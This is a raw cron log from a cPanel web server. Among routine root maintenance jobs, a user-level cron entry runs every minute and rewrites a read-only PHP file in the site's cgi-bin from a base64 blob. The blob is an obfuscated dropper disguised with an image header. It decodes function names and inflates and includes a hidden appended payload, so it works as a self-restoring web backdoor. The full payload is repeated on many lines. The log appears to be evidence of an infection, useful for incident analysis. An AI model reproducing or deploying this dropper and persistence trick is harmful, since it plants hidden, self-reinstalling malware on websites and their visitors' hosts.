Nov 14 07:50:01 server CROND[23496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:51:01 server CROND[24418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:52:01 server CROND[25284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:53:01 server CROND[26261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:54:01 server CROND[27141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:55:01 server CROND[28004]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:55:01 server CROND[28005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:55:01 server CROND[28006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:56:01 server CROND[28919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:57:01 server CROND[29818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 07:57:01 server CROND[29819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:58:01 server CROND[30777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:59:01 server CROND[31821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:00:01 server CROND[32630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:00:01 server CROND[32632]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Nov 14 08:00:01 server CROND[32633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:00:01 server CROND[32636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:00:01 server CROND[32634]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 08:00:01 server CROND[32635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 08:01:01 server CROND[1129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:01:01 server CROND[1130]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 08:01:01 server run-parts(/etc/cron.hourly)[1130]: starting 0anacron
Nov 14 08:01:01 server run-parts(/etc/cron.hourly)[1142]: finished 0anacron
Nov 14 08:02:01 server CROND[2021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
